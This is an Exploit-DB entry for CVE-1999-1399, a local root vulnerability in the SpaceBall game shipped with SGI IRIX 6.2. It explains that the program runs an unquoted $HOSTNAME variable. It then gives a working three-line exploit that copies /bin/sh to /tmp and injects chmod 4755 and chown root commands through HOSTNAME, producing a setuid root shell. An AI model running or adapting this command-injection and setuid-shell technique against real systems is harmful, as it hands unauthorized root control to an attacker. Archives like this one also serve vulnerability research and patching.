SGI IRIX 6.2 SpaceWare Vulnerability

ID EDB-ID:19357
Type exploitdb
Reporter J.A. Guitierrez
Modified 1996-10-30T00:00:00


SGI IRIX 6.2 SpaceWare Vulnerability. CVE-1999-1399 . Dos exploit for irix platform


The SpaceBall game, shipped with Irix 6.2 from Silicon Graphics contains a security hole which could result in the compromise of the root account. By blindly taking the contents of the $HOSTNAME variable, and not placing quotes around it, the program can be made to execute commands.

cp /bin/sh /tmp/sh
echo 6 | HOSTNAME="/bin/chmod 4755 /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1
echo 6 | HOSTNAME="/bin/chown root /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1